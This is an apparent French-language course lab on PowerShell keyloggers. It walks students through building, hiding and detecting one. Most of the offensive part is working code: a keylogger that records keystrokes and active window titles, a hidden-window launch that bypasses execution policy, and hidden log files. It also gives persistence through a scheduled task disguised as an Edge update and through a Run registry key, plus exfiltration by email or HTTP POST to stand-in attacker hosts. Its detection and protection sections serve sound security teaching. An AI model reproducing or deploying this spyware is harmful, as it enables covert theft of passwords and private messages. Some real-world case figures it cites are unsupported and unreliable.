Aller au contenu principal

Lab 3.3: Keylogger PowerShell - Capture de Frappes Clavier

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre le fonctionnement d'un keylogger
  • Créer un keylogger PowerShell simple
  • Implémenter la furtivité et la persistence
  • Détecter la présence d'un keylogger
  • Comprendre les risques liés aux PC publics et non surveillés
  • Appliquer des mesures de protection

Durée Estimée​

35 minutes

Prérequis​

  • VM Windows 10/11
  • PowerShell
  • Compréhension des Labs 3.1 et 3.2

Contexte Professionnel​

Les keyloggers sont utilisés par:

  • Attaquants pour voler mots de passe et informations sensibles
  • Entreprises pour surveillance employés (avec consentement légal!)
  • Parents pour surveiller activité enfants (contrôle parental)
  • Gouvernements pour surveillance ciblée (avec mandat)

Ce lab démontre:

  • Comment TOUT ce que vous tapez peut être capturé
  • Pourquoi les PC publics sont dangereux
  • Comment les voleurs d'identité opèrent
  • Importance de la sécurité physique
  • Techniques de détection

⚠️ AVERTISSEMENT ÉTHIQUE ET LÉGAL - EXTRÊMEMENT IMPORTANT​

CE LAB ENSEIGNE LA CRÉATION D'UN KEYLOGGER

Les keyloggers sont des outils EXTRÊMEMENT invasifs qui capturent TOUT ce qui est tapé: mots de passe, messages privés, emails, numéros de carte bancaire, etc.

LÉGAL UNIQUEMENT SI:

  • Sur votre propre ordinateur/VM
  • Avec consentement écrit de toutes les personnes surveillées
  • Pour tests de sécurité autorisés par contrat
  • Pour surveillance parentale légale (mineurs uniquement)

STRICTEMENT ILLÉGAL:

  • Installer sur l'ordinateur d'autrui sans consentement
  • Sur PC publics (bibliothèque, café, etc.)
  • Sur PC de travail sans autorisation employeur
  • Sur PC de conjoint/partenaire/famille sans consentement

CONSÉQUENCES EXTRÊMEMENT GRAVES:

  • Crime grave: Atteinte à la vie privée (Code criminel art. 184)
  • Prison jusqu'à 5 ans
  • Amendes massives
  • Casier judiciaire permanent
  • Poursuite civile pour dommages
  • Expulsion académique

DANS CERTAINS PAYS/ÉTATS:

  • Keylogging = Crime au même niveau que l'écoute électronique
  • Peines encore plus sévères

CE LAB EST POUR COMPRÉHENSION ET DÉFENSE UNIQUEMENT

En réalisant ce lab, vous comprenez que ces techniques existent et vous apprenez à vous en protéger. L'utilisation malveillante est VOTRE responsabilité et aura des conséquences légales graves.


Partie 1: Comprendre les Keyloggers​

Étape 1.1: Qu'est-ce qu'un Keylogger?​

Keylogger = Logiciel (ou matériel) qui enregistre toutes les frappes clavier.

Capture:

  • Mots de passe
  • Messages (email, chat, SMS)
  • Documents tapés
  • Recherches web
  • Numéros de carte bancaire
  • Code PIN
  • TOUT!

Types:

  1. Software (ce lab): Programme qui tourne en arrière-plan
  2. Hardware: Dispositif physique entre clavier et PC
  3. Kernel-level: Intégré au système d'exploitation
  4. Hypervisor-level: Au niveau de la virtualisation

Étape 1.2: Comment Ça Fonctionne?​

Principe technique:

  1. Hook clavier: Intercepte les événements clavier
  2. Capture touche: Enregistre quelle touche est pressée
  3. Timestamp: Heure exacte de la frappe
  4. Fenêtre active: Quel programme/site est actif
  5. Sauvegarde: Écrit dans fichier log caché
  6. Exfiltration: Envoie les logs à l'attaquant

API Windows utilisée:

  • GetAsyncKeyState() - État actuel des touches
  • GetForegroundWindow() - Fenêtre active
  • GetWindowText() - Titre de la fenêtre

Questions:

  1. Avez-vous déjà utilisé un PC public (bibliothèque, café)?
  2. Avez-vous tapé des mots de passe sur ces PC?

Étape 1.3: Scénarios d'Utilisation Malveillante​

Scénario 1: PC Public

  • Keylogger installé sur PC de bibliothèque
  • Vous tapez mot de passe email/banque
  • Attaquant récupère le log plus tard
  • Accède à tous vos comptes

Scénario 2: USB Malveillant

  • Clé USB trouvée contient keylogger
  • Auto-exécution ou curiosité → Installation
  • Capture pendant des mois
  • Vol d'identité complet

Scénario 3: Conjoint Jaloux

  • Installation sur PC partagé
  • Capture conversations, emails
  • Violation de vie privée grave
  • Illégal même entre conjoints!

Questions: 3. Quel scénario vous semble le plus probable? 4. Comment vous protégeriez-vous?


Partie 2: Création du Keylogger​

Étape 2.1: Version Basique (15 lignes!)​

Créez un fichier keylogger_basic.ps1:

# Keylogger PowerShell Basique
$logFile = "$env:TEMP\log.txt"

Add-Type -AssemblyName System.Windows.Forms

while ($true) {
Start-Sleep -Milliseconds 10

foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}

ATTENTION: Ce code est simplifié pour démonstration. Version réelle est plus complexe.

Exécutez en arrière-plan:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1

Fenêtre invisible! Le keylogger tourne en arrière-plan.

Étape 2.2: Version Améliorée (Plus Réaliste)​

Créez keylogger_advanced.ps1:

# Keylogger PowerShell Avancé
# POUR USAGE ÉDUCATIF UNIQUEMENT!

$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""

# Signature API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);

[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();

[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@

function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}

function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}

Write-Log "===== Keylogger Started ====="

# Boucle principale
while ($true) {
Start-Sleep -Milliseconds 10

# Vérifier fenêtre active
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}

# Vérifier chaque touche
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)

if ($keyState -eq -32767) {
# Touche pressée
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)

# Touches spéciales
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Lettre ou chiffre
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}

Fonctionnalités:

  • ✅ Capture toutes les touches
  • ✅ Détecte la fenêtre active (savoir quel site/app)
  • ✅ Timestamp précis
  • ✅ Fichier log caché
  • ✅ Gère touches spéciales (Enter, Backspace, etc.)

Questions: 5. Combien de lignes fait ce keylogger? 6. Est-ce difficile à créer? (Réponse: NON!)

Étape 2.3: Exécution et Test​

Lancez le keylogger:

Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"

Maintenant, tapez des choses:

  1. Ouvrez Notepad
  2. Tapez: "Ceci est un test"
  3. Ouvrez navigateur
  4. Tapez: "mot de passe: Test123!"
  5. Ouvrez calculatrice
  6. Tapez quelques chiffres

Arrêtez le keylogger:

Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Étape 2.4: Voir les Résultats​

Ouvrez le fichier log:

notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"

VOUS VOYEZ:

[2024-11-08 14:23:15] ===== Keylogger Started =====

[2024-11-08 14:23:20] === Window: Sans titre - Bloc-notes ===
C e c i e s t u n t e s t [ENTER]

[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
m o t d e p a s s e : T e s t 1 2 3 ! [ENTER]

[2024-11-08 14:24:10] === Window: Calculatrice ===
1 2 3 4 5 6 7 8 9 0

WOW! TOUT EST CAPTURÉ!

Même:

  • Les mots de passe (affichés en points mais captés en clair!)
  • Les fenêtres utilisées
  • L'heure exacte
  • Les touches spéciales

Questions: 7. Êtes-vous surpris de voir tout ce qui a été capturé? 8. Imaginez ce fichier après une journée complète...


Partie 3: Furtivité et Persistence​

Étape 3.1: Rendre Invisible​

Problème actuel:

  • Processus powershell.exe visible dans Task Manager
  • Consommation CPU visible
  • Fichier log découvrable

Améliorations:

1. Nom de processus déguisé:

Renommer le script:

  • winupdate.ps1 (ressemble à Windows Update)
  • svchost.ps1 (ressemble à service Windows)
  • chrome_update.ps1 (ressemble à Chrome)

2. Fichier log caché:

$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"

# Créer dossier si inexistant
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)

# Marquer fichier comme caché et système
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'

3. Réduire consommation CPU:

# Au lieu de 10ms, utiliser 50ms ou 100ms
Start-Sleep -Milliseconds 50

Moins précis mais moins détectable!

Étape 3.2: Persistence Automatique​

Méthode 1: Tâche Planifiée

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"

$trigger = New-ScheduledTaskTrigger -AtLogon

$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"

Nom qui ressemble à tâche légitime!

Méthode 2: Clé Registre Run

$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand

Démarre à chaque login!

Méthode 3: Service Windows (Avancé)

# Créer service Windows déguisé
# Nécessite privilèges SYSTEM
# Non couvert en détail ici mais très efficace

Questions: 9. Quelle méthode de persistence préférez-vous? 10. Comment un utilisateur normal détecterait-il cela?

Étape 3.3: Exfiltration des Logs​

Problème: Attaquant doit récupérer le fichier log

Solutions:

1. Email automatique (simple):

# Envoyer log par email tous les jours
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"

Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp

2. Upload HTTP (furtif):

$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw

Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing

3. Reverse shell périodique:

Envoyer log via reverse shell établi (Lab 3.2!)

4. Stockage cloud (très furtif):

# Upload vers Dropbox/OneDrive/Google Drive
# Passe sous le radar car trafic "légitime"

Détection difficile car ressemble à trafic normal!


Partie 4: Détection de Keylogger​

Étape 4.1: Détection par Processus​

Chercher processus PowerShell suspects:

Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List

Suspect si:

  • Démarré au login
  • Argument contient "Hidden"
  • Pas lancé par vous
  • Tourne depuis longtemps

Terminer processus suspect:

Stop-Process -Id <PID> -Force

Étape 4.2: Détection par Fichiers​

Chercher fichiers logs suspects:

# Chercher fichiers .txt ou .log récemment modifiés
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime

Examinez fichiers suspects:

notepad "C:\Path\To\Suspicious\File.txt"

Si vous voyez vos propres frappes = KEYLOGGER!

Étape 4.3: Détection par Tâches Planifiées​

Lister toutes les tâches:

Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | 
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize

Examiner tâches suspectes:

$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions

Suspect si:

  • Nom ressemble à service Windows mais n'existe pas vraiment
  • Action = PowerShell avec script inconnu
  • Vous ne l'avez pas créée

Supprimer:

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false

Étape 4.4: Détection par Registre​

Vérifier clés Run:

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Toute entrée inconnue = suspect!

Supprimer:

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"

Étape 4.5: Outils de Détection Automatisés​

Utiliser antivirus/antimalware:

# Windows Defender scan complet
Start-MpScan -ScanType FullScan

Outils spécialisés:

  • Malwarebytes (gratuit)
  • HitmanPro
  • RogueKiller
  • KL-Detector (spécifique keyloggers)

Questions: 11. Avez-vous détecté votre propre keylogger? 12. Combien de temps a pris la détection?


Partie 5: Scénarios Réels et Impact​

Étape 5.1: Vol d'Identité Complet​

Ce qu'un keylogger peut capturer en 1 semaine:

Jour 1:

  • Email: identifiant + mot de passe
  • Réseaux sociaux: Facebook, Instagram, Twitter
  • Recherches Google personnelles

Jour 2:

  • Banque en ligne: identifiant + mot de passe + code
  • Numéro de carte bancaire + CVV + date d'expiration
  • Conversations privées (Messenger, WhatsApp Web)

Jour 3:

  • VPN entreprise: accès réseau corporatif
  • Emails professionnels sensibles
  • Documents confidentiels tapés

Jour 4:

  • Mots de passe de collègues (si partagés)
  • Credentials serveurs
  • Secrets industriels

Jour 5-7:

  • Accumulation de données
  • Patterns de vie (heures de connexion, habitudes)
  • Contacts et relations

RÉSULTAT:

  • Vol d'identité total
  • Accès à tous vos comptes
  • Compromission de votre employeur
  • Chantage possible
  • Ruine financière potentielle

Étape 5.2: Cas Réel - Magic Lantern (FBI)​

2001: FBI développe keylogger "Magic Lantern"

  • Déployé via exploit ou physical access
  • Capture clés de chiffrement
  • Contourne PGP et autres chiffrements

Révélé publiquement: Controverse sur vie privée

Étape 5.3: Cas Réel - Cybercafés en Asie​

2010s: Keyloggers découverts sur 60% des PC de cybercafés

  • Thailande, Philippines, Inde
  • Touristes victimes
  • Comptes bancaires vidés après retour chez eux

Conseil voyage: JAMAIS accéder banque depuis PC public!

Étape 5.4: Cas Réel - Entreprise Compromise​

2018: Entreprise pharmaceutique compromise

  • Keylogger installé sur PC d'employé via phishing
  • Accès VPN capturé
  • Lateral movement vers serveurs R&D
  • Vol de formules médicamenteuses valant $100M+

Coût total: Faillite de l'entreprise!

Questions: 13. Ces scénarios vous semblent-ils réalistes? 14. Quelle serait l'impact si keylogger sur votre PC maintenant?


Partie 6: Mesures de Protection​

Étape 6.1: Protection Personnelle​

1. JAMAIS utiliser PC public pour:

  • Banque en ligne
  • Email
  • Réseaux sociaux
  • Achat en ligne
  • Anything sensible!

2. Clavier virtuel (on-screen keyboard):

osk

Clickez lettres au lieu de taper = contourne keylogger!

Limitation: Pas pratique pour usage quotidien

3. Gestionnaire de mots de passe:

Bitwarden, 1Password, LastPass:

  • Auto-remplissage = pas de frappe clavier!
  • Keylogger capture rien

4. Authentification à deux facteurs (2FA):

Même si mot de passe volé:

  • 2FA empêche connexion
  • Code sur téléphone requis

Étape 6.2: Protection Entreprise​

1. Antivirus/EDR:

Endpoint Detection and Response:

  • Détecte comportements suspects
  • Bloque keyloggers connus
  • Alerte équipe sécurité

2. Application Whitelisting:

Seuls programmes autorisés peuvent s'exécuter:

# AppLocker
# Device Guard
# Windows Defender Application Control

3. Politique d'exécution PowerShell:

Set-ExecutionPolicy AllSigned -Force

Seuls scripts signés par autorité approuvée!

4. Monitoring:

  • SIEM (Security Information and Event Management)
  • Log tous les processus PowerShell
  • Alerte si execution avec "-Hidden"

Étape 6.3: Protection Physique​

PC Personnel:

  1. BitLocker activé (empêche installation en mode récupération)
  2. Verrouillage automatique après 1 minute
  3. Mot de passe BIOS (empêche boot alternatif)
  4. Jamais laisser sans surveillance

PC Entreprise: 5. Full Disk Encryption mandatory 6. USB ports désactivés (empêche autorun) 7. Surveillance vidéo des salles serveurs 8. Badge d'accès requis


Partie 7: Keyloggers Hardware​

Étape 7.1: Qu'est-ce qu'un Keylogger Hardware?​

Dispositif physique:

  • Branché entre clavier et PC
  • OU intégré dans le clavier
  • OU intégré dans le câble

Avantages (pour attaquant):

  • Impossible à détecter par logiciel!
  • Pas d'antivirus qui peut le trouver
  • Fonctionne sur tout OS (Windows, Linux, Mac)
  • Pas de processus à cacher

Apparence:

  • Ressemble à adaptateur USB
  • Ou complètement invisible (intégré)

Étape 7.2: Détection Hardware​

Comment détecter:

  1. Inspection visuelle régulière

    • Vérifier connexions clavier
    • Chercher dispositifs entre clavier et PC
    • Comparer avec état normal
  2. Vérifier câbles

    • Boîtier suspect sur le câble?
    • Câble plus épais que d'habitude?
  3. Baseline matériel

    • Photographier setup normal
    • Comparer régulièrement

En entreprise:

  • Scellés de sécurité sur connecteurs
  • Inventaire matériel strict
  • Inspections régulières

Étape 7.3: Protection Contre Hardware​

Solutions:

  1. Clavier sans fil Bluetooth (plus difficile à intercepter)
  2. Inspection visuelle régulière
  3. Environnement contrôlé
  4. Clavier virtuel pour mots de passe critiques

Partie 8: Exercices Pratiques​

Exercice 8.1: Améliorer le Keylogger​

Ajoutez ces fonctionnalités:

  1. Capture de screenshots périodiques
  2. Détection de mots-clés ("password", "bank", "credit card")
  3. Chiffrement du fichier log
  4. Compression avant exfiltration

Exercice 8.2: Script de Détection​

Créez un script qui:

  1. Scanne processus PowerShell suspects
  2. Vérifie tâches planifiées
  3. Cherche fichiers logs suspects
  4. Vérifie clés registre Run
  5. Génère rapport HTML

Exercice 8.3: Politique de Sécurité​

Rédigez une politique d'entreprise:

  • Interdiction keyloggers
  • Procédures de détection
  • Sanctions en cas d'utilisation
  • Formation des employés

Livrables​

À remettre:

  1. Document d'analyse (Word/PDF, 3-4 pages):

    • Réponses aux 14 questions
    • Explication fonctionnement keylogger
    • Capture d'écran du fichier log (ANONYMISÉ!)
    • Analyse des risques personnels
  2. Captures d'écran (minimum 5):

    • Code du keylogger
    • Processus PowerShell en cours
    • Fichier log avec captures (anonymisées!)
    • Tâche planifiée de persistence
    • Détection et suppression
  3. Plan de protection personnel (1-2 pages):

    • Évaluation de vos risques actuels
    • Mesures à mettre en place
    • Changements d'habitudes
    • Timeline d'implémentation
  4. Sensibilisation (optionnel, +5% bonus):

    • Vidéo ou présentation (5 min)
    • "Pourquoi ne jamais utiliser PC public"
    • Démonstration du keylogger
    • Conseils de protection

Critères d'Évaluation​

CritèrePoints
Keylogger fonctionnel créé et testé25%
Compréhension du fonctionnement20%
Détection et suppression réussies20%
Analyse des risques réels15%
Plan de protection personnel15%
Qualité documentation5%
Bonus sensibilisation+5%

Commandes de Référence Rapide​

Exécution​

# Lancer keylogger caché
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"

# Arrêter
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process

Détection​

# Processus suspects
Get-Process powershell | Select Id,StartTime,CommandLine

# Fichiers logs récents
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force

# Tâches planifiées
Get-ScheduledTask | Where State -eq "Ready"

# Clés Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Nettoyage​

# Supprimer tâche
Unregister-ScheduledTask -TaskName "SuspiciousTask"

# Supprimer clé registre
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"

# Supprimer fichier log
Remove-Item -Path $logFile -Force

Dépannage​

Problème: Keylogger ne capture rien​

Solution:

  • Vérifiez que le script s'exécute (Get-Process powershell)
  • Vérifiez que le fichier log est créé
  • Droits d'écriture dans le dossier?

Problème: Antivirus bloque​

Solution:

  • C'est NORMAL! C'est un keylogger!
  • Ajoutez exclusion pour ce lab uniquement
  • Réactivez protection après

Problème: Consommation CPU élevée​

Solution:

  • Augmentez délai Start-Sleep (50ms ou 100ms)
  • Optimisez la boucle de détection

Aller Plus Loin (Optionnel)​

Challenge 1: Keylogger GUI​

Créez interface graphique pour:

  • Démarrer/arrêter capture
  • Voir logs en temps réel
  • Filtrer par application
  • Exporter en différents formats

Challenge 2: Anti-Keylogger​

Développez outil qui:

  • Détecte keyloggers actifs
  • Les supprime automatiquement
  • Protège en temps réel
  • Alerte utilisateur

Challenge 3: Recherche​

Étudiez keyloggers professionnels:

  • FinFisher/FinSpy (gouvernemental)
  • Ardamax Keylogger (commercial)
  • Perfect Keylogger (commercial)

Comparez avec votre version.


Ressources Additionnelles​


Conclusion​

Ce lab vous a enseigné:

  • Créer un keylogger PowerShell fonctionnel
  • Implémenter furtivité et persistence
  • Détecter et supprimer keyloggers
  • Comprendre les risques réels
  • Appliquer mesures de protection

Leçons CRITIQUES:

  1. 15 lignes de code = Keylogger fonctionnel!
  2. TOUT ce que vous tapez peut être capturé
  3. PC publics = DANGER EXTRÊME
  4. Gestionnaire de mots de passe = Protection essentielle
  5. Jamais taper mots de passe sensibles sur PC non sûr
  6. Détection difficile mais possible avec vigilance

PRISE DE CONSCIENCE:

Après ce lab, vous ne verrez plus jamais un clavier de la même façon. Chaque fois que vous tapez un mot de passe, demandez-vous: "Ce PC est-il sûr?"

PROTÉGEZ-VOUS:

  • Utilisez gestionnaire de mots de passe MAINTENANT
  • Activez 2FA sur TOUS vos comptes
  • JAMAIS de banking sur PC public
  • Vérifiez régulièrement vos processus
  • Éduquez votre entourage

MESSAGE FINAL:

Vous avez maintenant le pouvoir de créer un keylogger en quelques minutes. Ce pouvoir vient avec une ÉNORME responsabilité.

Utilisez ces connaissances pour:

  • ✅ Vous protéger
  • ✅ Protéger les autres
  • ✅ Sensibiliser votre entourage
  • ✅ Tests de sécurité autorisés

JAMAIS pour:

  • ❌ Espionner
  • ❌ Voler
  • ❌ Violer la vie privée
  • ❌ Nuire

Soyez du côté des gentils. 🛡️


Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 3

⚠️ RAPPEL FINAL: Keylogger sur ordinateur d'autrui = CRIME GRAVE. Prison garantie.